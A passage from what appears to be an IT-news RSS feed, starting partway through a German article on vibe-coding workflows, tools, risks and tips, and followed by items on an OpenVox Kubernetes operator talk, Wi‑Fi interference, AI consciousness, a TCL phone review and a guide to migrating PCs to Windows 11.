<li>die <strong>Operationalisierungsphase</strong>, in der Versionierung, Evaluierung und Governance hinzukommen.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/steve-croce-1060082/" target="_blank" rel="noreferrer noopener">Steve Croce</a>, Field CTO beim Open-Source-Unternehmen Anaconda, steht hingegen auf dem Standpunkt, dass der Vibe-Coding-Workflow davon abhängig ist, ob ein Prototyp, eine Zwischenlösung oder eine vollständige Produktionsapplikation entwickelt werden soll. Basierend darauf, orientiert sich der Vibe-Coding-Workflow in der Vision des Technologieentscheiders eher am traditionellen Software Development Lifecycle – fußt jedoch ebenfalls auf vier Stufen:</p>



<ul class="wp-block-list">
<li>In der Phase der <strong>Planungs- und Anforderungsanalyse</strong> könnten Produktmanager und UX-Teams demnach voll und ganz auf Vibe Coding setzen und so vor der formellen Entwicklung klickbare Prototypen und Machbarkeitstests erstellen.</li>



<li>Im Rahmen der<strong> Design-Phase </strong>kann KI laut Croce dabei unterstützen, Architekturen und <a href="https://www.computerwoche.de/a/4077044" target="_blank">Dokumentationen zu erstellen</a>. Der Manager weist allerdings darauf hin, dass es in dieser Phase auch hilfreich sein könne, erfahrene Engineers oder Architekten hinzuziehen, um die Einhaltung von Standards und die Reusability interner Systeme zu gewährleisten.</li>



<li>Als Kernbereich der Vibe-Coding-Experience sieht Croce die<strong> Implementierungs- und Testphase:</strong> Ein KI-Agent könne an dieser Stelle die gesamte Anwendung erstellen und darüber hinaus auch Repositories strukturieren und <a href="https://www.computerwoche.de/article/2804460/installationen-und-funktionstests-automatisieren.html" target="_blank">Tests durchführen</a>. Der Experte rät Unternehmens-Teams jedoch mit Blick auf die Testabdeckung und Konformitätsprüfungen auch in dieser Phase dazu, menschliche Profis hinzuzuziehen.</li>



<li>In der <strong>Bereitstellungs- und Wartungsphase </strong>könne KI laut dem CTO dazu genutzt werden, Apps bereitzustellen und zu warten. Dieser Part könne jedoch auch vollständig außerhalb der Vibe-Coding-Erfahrung abgewickelt werden, um den Unternehmensanforderungen zu entsprechen, so Croce.</li>
</ul>



<h2 class="wp-block-heading">Empfehlenswerte Vibe-Coding-Tools</h2>



<p class="wp-block-paragraph">Vibe-Coding-Tools decken ein breites Spektrum ab: Vom leicht zugänglichen, dialogorientierten Builder für nicht-technische Teams, bis hin zu integrierten Entwicklungsumgebungen (<a href="https://www.computerwoche.de/article/2827615/4-entwicklungsumgebungen-fuer-pythonistas.html" target="_blank">IDEs</a>), die Engineers umfassende Kontrollmöglichkeiten bieten und zuverlässige Anwendungen gewährleisten. Die Wahl des richtigen Tools hängt von den Fähigkeiten des Teams, dem Projektziel und dem benötigten Maß an Governance ab.</p>



<p class="wp-block-paragraph">Eine kleine Auswahl empfehlenswerter Tools für Vibe-Coding-Zwecke:</p>



<ul class="wp-block-list">
<li><a href="https://cursor.com/" target="_blank" rel="noreferrer noopener"><strong>Cursor</strong></a> ist eine KI-integrierte IDE, mit der sich mehrere Dateien bearbeiten lassen.</li>



<li><a href="https://replit.com/" target="_blank" rel="noreferrer noopener"><strong>Replit</strong></a> ist eine gute Wahl für Browser-basierte Entwicklungsarbeit.</li>



<li><a href="https://bolt.new/" target="_blank" rel="noreferrer noopener"><strong>Bolt</strong> </a>und <a href="https://lovable.dev/" target="_blank" rel="noreferrer noopener"><strong>Lovable</strong></a> sind Builder, eignen sich vor allem für schnelles Brainstorming und zeichnen sich durch überschaubaren technischen Aufwand aus. Diese Tools sind daher auch für Einsteiger geeignet.</li>



<li><a href="https://windsurf.com/" target="_blank" rel="noreferrer noopener"><strong>Windsurf</strong></a> und <a href="https://zed.dev/" target="_blank" rel="noreferrer noopener"><strong>Zed</strong></a> sind vollständige IDEs, die darauf ausgelegt sind, Vibe-Coding-Funktionen in traditionelle Dev-Umgebungen zu integrieren.</li>
</ul>



<h2 class="wp-block-heading">Diese Risiken birgt Vibe Coding</h2>



<p class="wp-block-paragraph">Trotz der genannten Vorteile birgt der Vibe-Coding-Ansatz auch diverse Risiken mit Blick auf die Wartbarkeit und Anfälligkeit der generierten Logik. So warnt etwa ShadowDragon-Managerin Mortlock: “<a href="https://www.computerwoche.de/article/4155663/6-wege-uber-ki-gehackt-zu-werden.html" target="_blank">Sicherheitslücken</a> und <a href="https://www.computerwoche.de/article/3980660/technische-schulden-als-billige-ausrede.html" target="_blank">technische Schulden</a> sind die Hauptprobleme in Zusammenhang mit Vibe Coding. KI kann manchmal unsichere Pattern oder auch veraltete Bibliotheken einbinden.”</p>



<p class="wp-block-paragraph">Zudem sei KI-generierter Code in den meisten Fällen auch länger, was das Debugging langwierig und mühsam gestalten könne, erklärt Mortlock. Sie fügt hinzu: “KI verweist unter Umständen auch auf nicht existierende Packages, was auch böswillige Akteure ausnutzen könnten. Was wie funktionierender Code aussieht, kann versteckte Fallen bergen.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/charlesjiama/" target="_blank" rel="noreferrer noopener">Charles Ma</a>, Software Engineer beim Observability-Spezialisten Chronosphere, sieht ein weiteres Problem, das die Angriffsfläche potenziell vergrößert: “Selbst erfahrene Engineers können selbstzufrieden werden und dann Probleme übersehen, die ihnen sonst nicht entgangen wären. Sobald KI-Tools mit externen Systemen verbunden sind oder Websuchen durchführen, besteht außerdem das Risiko von Prompt Injections und Toolchain-Exploits.”</p>



<p class="wp-block-paragraph">Infrastruktur-Profi Pardalis fokussiert mit Blick auf die Risiken von Vibe Coding vor allem die Bereiche Volatilität und Sichtbarkeit: Weil dieser Ansatz für schnelle Iterationen und Modellautonomie förderlich sei, bestünden die Hauptrisiken in unkontrollierter Variabilität und undurchsichtigen Quellen. Um diese Probleme zu bekämpfen, appelliert Pardalis für:</p>



<ul class="wp-block-list">
<li><strong>Lineage Tracking</strong>: Jede Version wird committet und verwendet Frameworks mit integrierter Traceability.</li>



<li><strong>Evaluierungsschleifen</strong>: Qualitäts- und Regressionsprüfungen werden automatisiert durchgeführt.</li>



<li><strong>Governance-Layer</strong>: Prompt-Historien werden auditiert und sensible Daten gefiltert.</li>
</ul>



<p class="wp-block-paragraph">Der Engineering-Profi ist der Ansicht, dass eine expressive, modellgesteuerte Softwareentwicklung und eine deterministische Infrastruktur unter disziplinierten Rahmenbedingungen koexistieren können: “Letztendlich verspricht Vibe Coding kein Chaos, sondern strukturierte Kreativität. Sie entwickeln Ideen schnell, setzen sie aber sicher um. Mit anderen Worten: Freiheit am Anfang, Disziplin im weiteren Verlauf – so kann Vibe Coding tatsächlich in Produktionsumgebungen skaliert werden.”</p>



<h2 class="wp-block-heading">6 Tipps für effektives Vibe Coding</h2>



<p class="wp-block-paragraph">Da Sie nun umfassend über alle Aspekte des Vibe-Coding-Ansatzes informiert sind, geben wir Ihnen abschließend noch ein paar Tipps an die Hand, um Ihre eigene Initiative erfolgreich umzusetzen. Diese haben wir aus unseren Gesprächen mit den im Artikel zitierten Spezialisten zum Thema extrahiert</p>



<ul class="wp-block-list">
<li><strong>Beginnen Sie mit Zielen, nicht mit Funktionen:</strong> Beschreiben Sie zunächst die gewünschte <a href="https://www.computerwoche.de/article/2834420/der-niedergang-des-user-interface.html" target="_blank">User Experience</a> und die wesentlichen Geschäftsprobleme, die mit der Initiative gelöst werden sollen. Dabei müssen Sie es nicht übertreiben und jeden Button oder Screen definieren – für relevante Lösungen ist es entscheidend, der KI so genau wie möglich zu beschreiben, was erreicht werden soll.</li>



<li><strong>Planen Sie voraus:</strong> Vibe Coding ist nicht in der Lage, eine gute Architektur zu ersetzen. Bevor Sie KI hinzuziehen, sollten Sie deshalb sicherstellen, dass Design und Spezifikationen stimmen. Das erleichtert es der KI, “Intent” in kohärente Systeme zu übersetzen.  </li>



<li><strong>Verstehen Sie KI als Partner: </strong>Es gilt, mit Vibe-Coding-Tools zu kollaborieren. Diese Werkzeuge brauchen Anleitung und ihre Ergebnisse müssen überprüft werden. Blindes Vertrauen kann an dieser Stelle<a href="https://www.computerwoche.de/article/3829267/so-bleibt-ihr-code-halluzinationsfrei.html" target="_blank"> kontraproduktiv sein</a>. Sie sollten deshalb nicht zögern, die KI-generierte Logik in Frage zu stellen.</li>



<li><strong>Nutzen Sie Frameworks, Kontext und Beispiele:</strong> Etablierte Frameworks zu nutzen, erspart es Ihnen alles von Grund auf neu zu entwickeln. Die KI mit Beispielanwendungen zu füttern oder (<a href="https://www.computerwoche.de/article/4143599/mcp-server-5-tipps-fur-die-praxis.html" target="_blank">vertrauenswürdige</a>) MCP-Server hinzuzuziehen, um Kontext in größeren Projekten zu managen, kann ihre Fähigkeiten erweitern.  </li>



<li><strong>Halten Sie Menschen – und Security – im Loop:</strong> Setzen Sie auch bei Vibe- respektive KI-Coding-Tools auf das Least-Privilege-Prinzip – und Review-Prozesse. Engineering Best Practices anzuwenden, empfiehlt sich ebenfalls: Generieren Sie Tests, verifizieren Sie Funktionalitäten. Und betrachten Sie die Tools als Kreativitäts- und Produktivitäts-Support. Nicht als Substitut für <a href="https://www.computerwoche.de/article/2834999/3-dinge-die-senior-developer-auszeichnen.html" target="_blank">Skills und Knowhow</a>.</li>



<li><strong>Iterieren und verfeinern Sie: </strong>Nehmen Sie mit Blick auf Vibe Coding Abstand vom Streben nach Perfektion (auch wenn es Ihnen <a href="https://www.computerwoche.de/article/4048410/was-junior-entwickler-von-the-bear-lernen-konnen.html" target="_blank">widerstrebt</a>) und finden Sie sich möglichst frühzeitig mit unvollkommenen Ergebnissen ab. Tracken Sie Prompts, cachen Sie Checkpoints und verfeinern Sie die Ergebnisse – solange, bis der “Flow” zu einer zuverlässigen Funktionalität wird.</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenVox Operator - Puppet Infrastructure as Kubernetes CRDs (voxconf2026)]]></title>
<description><![CDATA[Setting up a production-ready OpenVox stack is complex: node classification, auto signing, load balancing, code deployment, OpenVox DB - everything has to be set up and wired up by hand. The OpenVox Operator takes care of that and describes the entire infrastructure declaratively as Kubernetes Cu...]]></description>
<link>https://tsecurity.de/de/3680266/it-security-video/openvox-operator-puppet-infrastructure-as-kubernetes-crds-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680266/it-security-video/openvox-operator-puppet-infrastructure-as-kubernetes-crds-voxconf2026/</guid>
<pubDate>Mon, 20 Jul 2026 07:48:16 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Setting up a production-ready OpenVox stack is complex: node classification, auto signing, load balancing, code deployment, OpenVox DB - everything has to be set up and wired up by hand. The OpenVox Operator takes care of that and describes the entire infrastructure declaratively as Kubernetes Custom Resources. After a short introduction to what a Kubernetes Operator is, the talk walks through the design and a live demo showing how quickly a fully working, scalable OpenVox server comes up.

https://github.com/slauger/talk-voxconf-2026
about this event: https://c3voc.de]]></content:encoded>
</item>
<item>
<title><![CDATA[Hidden Wi‑Fi Killers: Everyday Things Quietly Ruining Your Home Internet]]></title>
<description><![CDATA[  Many everyday objects can quietly wreck your Wi‑Fi, and understanding them is the first step to a more stable home network. From kitchen gadgets to building materials, the invisible radio waves carrying your data are constantly competing with physical…
Read more →
The post Hidden Wi‑Fi Killers:...]]></description>
<link>https://tsecurity.de/de/3679800/it-security-nachrichten/hidden-wifi-killers-everyday-things-quietly-ruining-your-home-internet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679800/it-security-nachrichten/hidden-wifi-killers-everyday-things-quietly-ruining-your-home-internet/</guid>
<pubDate>Sun, 19 Jul 2026 19:43:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>  Many everyday objects can quietly wreck your Wi‑Fi, and understanding them is the first step to a more stable home network. From kitchen gadgets to building materials, the invisible radio waves carrying your data are constantly competing with physical…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/hidden-wi-fi-killers-everyday-things-quietly-ruining-your-home-internet/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/hidden-wi-fi-killers-everyday-things-quietly-ruining-your-home-internet/">Hidden Wi‑Fi Killers: Everyday Things Quietly Ruining Your Home Internet</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Could AI be conscious?]]></title>
<description><![CDATA[Experts believe it’s at least possible. We urgently need a plan to navigate the ethical implicationsIn January, the AI company Anthropic published a new constitution for Claude, its most advanced large language model (LLM), which contained the comment: “We are caught in a difficult position where...]]></description>
<link>https://tsecurity.de/de/3679364/ai-nachrichten/could-ai-be-conscious/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679364/ai-nachrichten/could-ai-be-conscious/</guid>
<pubDate>Sun, 19 Jul 2026 13:03:59 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Experts believe it’s at least possible. We urgently need a plan to navigate the ethical implications</p><p>In January, the AI company Anthropic published a <a href="https://www.anthropic.com/constitution">new constitution</a> for Claude, its most advanced large language model (LLM), which contained the comment: “We are caught in a difficult position where we neither want to overstate the likelihood of Claude’s moral patienthood nor dismiss it out of hand.” A month later, Anthropic’s CEO Dario Amodei went on a podcast and said his company couldn’t rule out the possibility that Claude was conscious. Philosopher David Chalmers, who coined the phrase “the hard problem of consciousness”, has said there is a significant chance of conscious LLMs within a decade. And what about Claude itself? When asked during testing to estimate the probability that it is a <em>moral patient</em>, meaning that its wellbeing matters in its own right, it gave numbers ranging from 5% to 40% and stressed how uncertain it was.</p><p>Modern AI systems are extraordinarily complex, and they are advancing fast. In terms of structural complexity and computational scale, by some measures a few are already in the range of a mouse brain, and at recent growth rates, they could reach the range of a human brain within five to 10 years.</p> <a href="https://www.theguardian.com/technology/2026/jul/19/could-ai-be-conscious">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[The TCL NXTPAPER 70 Pro proved to me that budget smartphones can still be great — but I won't be ditching my aging Samsung just yet]]></title>
<description><![CDATA[Don’t think that TCL just makes TVs — its a dab hand at smartphones, too, and its NXTPAPER 4.0 screen tech makes the TCL NXTPAPER 70 Pro a great choice for comic book fans and late-night doomscrollers.]]></description>
<link>https://tsecurity.de/de/3679273/it-nachrichten/the-tcl-nxtpaper-70-pro-proved-to-me-that-budget-smartphones-can-still-be-great-but-i-wont-be-ditching-my-aging-samsung-just-yet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679273/it-nachrichten/the-tcl-nxtpaper-70-pro-proved-to-me-that-budget-smartphones-can-still-be-great-but-i-wont-be-ditching-my-aging-samsung-just-yet/</guid>
<pubDate>Sun, 19 Jul 2026 12:03:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Don’t think that TCL just makes TVs — its a dab hand at smartphones, too, and its NXTPAPER 4.0 screen tech makes the TCL NXTPAPER 70 Pro a great choice for comic book fans and late-night doomscrollers.]]></content:encoded>
</item>
<item>
<title><![CDATA[Neuer PC? So übertragen Sie alles auf Windows 11 ohne Stress]]></title>
<description><![CDATA[Ein neuer PC ist schnell gekauft – der eigentliche Aufwand beginnt danach. Programme, Dateien, Benutzerkonten und Einstellungen sollen möglichst vollständig vom alten Rechner mitkommen. Wer alles von Hand einrichtet, verliert schnell einen ganzen Tag.



Umzugssoftware nimmt Ihnen diese Arbeit ab...]]></description>
<link>https://tsecurity.de/de/3679150/windows-tipps/neuer-pc-so-uebertragen-sie-alles-auf-windows-11-ohne-stress/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679150/windows-tipps/neuer-pc-so-uebertragen-sie-alles-auf-windows-11-ohne-stress/</guid>
<pubDate>Sun, 19 Jul 2026 10:41:36 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Ein neuer PC ist schnell gekauft – der eigentliche Aufwand beginnt danach. Programme, Dateien, Benutzerkonten und Einstellungen sollen möglichst vollständig vom alten Rechner mitkommen. Wer alles von Hand einrichtet, verliert schnell einen ganzen Tag.</p>



<p>Umzugssoftware nimmt Ihnen diese Arbeit ab und überträgt viele Inhalte in einem Durchgang. Das lohnt sich besonders, wenn der alte Windows-10-PC ersetzt wird: Zwar gibt es über erweiterte Sicherheitsupdates noch Aufschub bis 2027, langfristig führt beim Neukauf aber meist Windows 11 den Weg vor. Wir zeigen, welche Wege es für den PC-Umzug gibt und worauf Sie achten sollten.</p>



<h2 class="wp-block-heading">Welche Wege es für den Datenumzug gibt</h2>



<p>Für den Wechsel auf einen neuen PC haben Sie drei Möglichkeiten. Spezialisierte Umzugssoftware überträgt Programme, Benutzerkonten und Dateien in einem Rutsch – der bequemste Weg, wenn installierte Anwendungen mitkommen sollen.</p>



<div class="ppl_wrap"><div class="top_head"><p class="pro_tag">PROMOTION</p><p><strong>Ihr Bildschirm ist zu klein? Dieser 17-Zöller bietet Platz für alles</strong></p></div><div class="ppl_row"><div class="pro_right promotion-item__image-outer-wrapper--small"><img decoding="async" class="promotion-item__image" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/HP-PPL-7.png" loading="lazy"></div><p class="ppl_text">
</p><p>Das HP OmniBook 7 überzeugt mit einem großzügigen 17,3 Zoll FHD-Touchdisplay für Übersicht bei Office-Arbeit, Multimedia und leichtem Gaming. Der Intel® Core™ Ultra 7 Prozessor mit 32 GB RAM meistert anspruchsvolle Aufgaben, die NVIDIA® RTX™ 4050 sorgt für zusätzliche Grafikleistung bei Kreativ-Workflows. Die beleuchtete Tastatur mit Nummernblock erleichtert die Dateneingabe, Fast Charge bringt den Akku schnell wieder auf 50 %.</p>
</div><div class="clear-both"></div><div class="more_btn"><a href="https://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11348&amp;clickref=rss&amp;ued=https://www.notebooksbilliger.de/hp+omnibook+7+17+dc0177ng+888580" target="_blank" class="promotion-view-deal-link" rel="noopener">Erfahren Sie mehr über das HP OmniBook 7</a></div></div>



<p>Die Bordmittel von Windows decken primär persönliche Dateien und ausgewählte Einstellungen ab: Über ein Microsoft-Konto und OneDrive landen synchronisierte Ordner, einige Windows-Einstellungen sowie Store-Apps auf dem neuen Gerät. Klassische Desktop-Programme müssen Sie damit jedoch neu installieren.</p>



<p>Bleibt der manuelle Umzug per externer Festplatte oder NAS. Diese Methode ist günstig und transparent, aber zeitraubend. Sie kopieren Dokumente, Bilder, Downloads, Browserprofile und Projektordner selbst und installieren anschließend jede Anwendung neu. Dieser Ratgeber stellt deshalb die komfortablere Variante mit Umzugssoftware in den Mittelpunkt und vergleicht zwei verbreitete Programme.</p>



<h2 class="wp-block-heading">Windows-Umzug mit PCmover Professional</h2>



<p><a href="https://software.pcwelt.de/offer/laplink-pcmover-professional-v11/44211?x-source=rss">PCmover Professional</a> von Laplink zählt zu den bekanntesten Umzugsprogrammen für Windows. Es kopiert Anwendungen, Daten, Benutzerkonten und Einstellungen vom alten Windows-PC auf den neuen Rechner mit Windows 11. Die Software kostet ab 34,95 Euro, eine reine Testversion reicht in der Regel nicht für einen vollständigen Programmumzug.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a5c8db0d5d8b"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2023/06/pcmover-Transferoptionen.png?w=1200" alt="Laplink PCmover Professional v11 Optionen" class="wp-image-1945143" width="1200" height="799" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Christoph Hoffmann</p></div>



<p>Installieren Sie PCmover zunächst auf dem alten PC, also der Quelle. Nach dem Start ist die Übertragung zwischen zwei Rechnern voreingestellt. Unter „Erweiterte Optionen“ stehen zusätzlich der Umzug per Laufwerk und per Imagedatei bereit. Ein Klick auf „Übertragung zwischen PCs“ startet den Vorgang. Vor dem Fortfahren tragen Sie Name, E-Mail-Adresse und die nach dem Kauf erhaltene Seriennummer ein.</p>



<p>Installieren und starten Sie das Programm danach auf dem Ziel-PC mit Windows 11. Beide Rechner müssen sich im selben Netzwerk befinden. Ein spezielles Kabel ist nicht nötig, wenn beide PCs per LAN oder stabilem WLAN verbunden sind. Für große Datenmengen empfiehlt sich Gigabit-LAN, weil der Transfer darüber deutlich zuverlässiger und schneller läuft als über ein schwaches Funknetz.</p>



<p>PCmover sucht den Ziel-PC und stellt die Verbindung her. Anschließend zeigt die Software beide Rechner nebeneinander an. Prüfen Sie an dieser Stelle unbedingt die Übertragungsrichtung: Quelle muss der alte PC sein, Ziel der neue Windows-11-Rechner. Bei Bedarf lässt sich die Richtung umkehren.</p>



<p>Ein Klick auf „PC analysieren“ führt zur Auswahl. Hier stehen mehrere Optionen bereit, von der empfohlenen Standardübertragung bis zur manuellen Auswahl. Mit der Standardoption wird der neue PC weitgehend zum Abbild des alten – etwa mit Windows 11 statt Windows 10. </p>



<p>Über „Weiter“ erhalten Sie eine Zusammenfassung in mehreren Kategorien. Kontrollieren Sie vordergründig den Punkt „Anwendungen“: Standardmäßig sind alle übertragbaren Programme markiert; einzelne können abgewählt werden.</p>



<p>Wie lange der Umzug dauert, hängt von der Datenmenge, dem Netzwerktempo und der Anzahl der Programme ab. Bei einem gut gefüllten PC kommen schnell mehrere Stunden zusammen. Nach Abschluss meldet das Programm den Erfolg. Starten Sie den neuen PC neu, damit alle Änderungen greifen.</p>



<h2 class="wp-block-heading">Die Alternative: EaseUS Todo PCTrans</h2>



<p>Wer nicht zwingend zu PCmover greifen möchte, findet in <a href="https://www.dpbolvw.net/click-1676582-15557692?sid=rss&amp;url=https://www.easeus.de/daten-uebertragen-software/pctrans-free.html">EaseUS Todo PCTrans</a> eine verbreitete Alternative. Das Programm überträgt ebenfalls Programme, Dateien, Benutzerkonten und Einstellungen zwischen zwei Rechnern. Der Umzug von Windows 10 auf Windows 11 zählt zu den typischen Einsatzszenarien.</p>



<p>Der wichtigste Unterschied liegt beim Einstieg. EaseUS Todo PCTrans gibt es als Free-Version, die nur fünf Programme und eine zwei Gigabyte Daten überträgt. Das genügt zum Ausprobieren oder für sehr kleine Umzüge. Wer viele Programme, große Benutzerordner oder mehrere Konten übertragen will, benötigt die kostenpflichtige <a href="https://www.dpbolvw.net/click-1676582-15557692?sid=rss&amp;url=https://www.easeus.de/daten-uebertragen-software/pctrans.html">Pro-Version</a> ab 40 Euro.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a5c8db0d672e"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/easeus-todo-pctrans-2-2.jpg?quality=50&amp;strip=all" alt="easeus-todo-pctrans" class="wp-image-3178968" width="997" height="696" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">EaseUS</p></div>



<p>Die Bedienung folgt demselben Grundmuster wie bei PCmover. Sie installieren das Programm auf beiden Rechnern und legen über „PC zu PC“ die Richtung fest: alter PC als Quelle, neuer PC als Ziel. Beide Geräte müssen sich im selben Netzwerk befinden. Danach wählen Sie aus, welche Programme, Dateien und Konten mitkommen, und starten die Übertragung.</p>



<p>Neben dem Netzwerkweg beherrscht EaseUS Todo PCTrans auch den Umzug per Imagedatei auf einem externen Datenträger. Das ist praktisch, wenn beide PCs nicht gleichzeitig verfügbar sind oder der alte Rechner nur noch eingeschränkt läuft. Der Transfer erfolgt lokal, nicht über fremde Cloud-Server.</p>



<h2 class="wp-block-heading">PCmover oder EaseUS – was passt zu wem?</h2>



<p>Beide Programme verfolgen denselben Zweck, unterscheiden sich aber bei Preis, Bedienlogik und Zielgruppe. EaseUS Todo PCTrans ist attraktiv, wenn Sie zunächst kostenlos testen oder nur wenige Programme übertragen möchten. </p>



<p>Für einen kompletten Umzug mit vielen Anwendungen und großen Datenmengen führt dagegen auch hier meist kein Weg an einer kostenpflichtigen Version vorbei.</p>



<p>PCmover Professional richtet sich stärker an Anwender, die einen möglichst vollständigen und kontrollierten Wechsel wünschen. Das Programm ist besonders interessant, wenn der neue Rechner dem alten möglichst stark ähneln soll und viele installierte Anwendungen mitkommen müssen.</p>



<p>Für einfache Fälle reicht oft die Kombination aus OneDrive, externer Festplatte und Neuinstallation der wichtigsten Programme. Für komplexe Systeme mit vielen Anwendungen, mehreren Benutzerkonten und gewachsenen Ordnerstrukturen spart Umzugssoftware dagegen viel Zeit.</p>



<h2 class="wp-block-heading">Tipp: Mailkonten auf den neuen PC umziehen</h2>



<p>Eine Windows-Neuinstallation oder ein neuer PC sind ein guter Anlass, auch das Mailprogramm zu überdenken – etwa eM Client, Thunderbird oder Outlook. Am einfachsten gelingt der Umzug, wenn Ihre Mailkonten bereits per IMAP eingerichtet sind. Bei IMAP bleiben die Nachrichten auf dem Server Ihres Mailproviders gespeichert und werden nur mit dem jeweiligen Gerät synchronisiert.</p>



<p>Der Vorteil: Sie greifen mit PC, Notebook, Smartphone oder Webmailer auf denselben Mailbestand zu. Für den Umzug richten Sie das Konto im Mailprogramm auf dem neuen Windows-PC einfach erneut ein. Dazu starten Sie den Einrichtungsassistenten, geben E-Mail-Adresse und Passwort ein und warten anschließend, bis das Programm alle Nachrichten synchronisiert hat. Je nach Postfachgröße und Internetverbindung kann das einige Zeit dauern.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a5c8db0d7007"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/Mailstore-Home-export-IMAP-Konto.png" alt="Mailstore Home export IMAP-Konto" class="wp-image-3178966" width="1024" height="574" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Christoph Hoffmann</p></div>



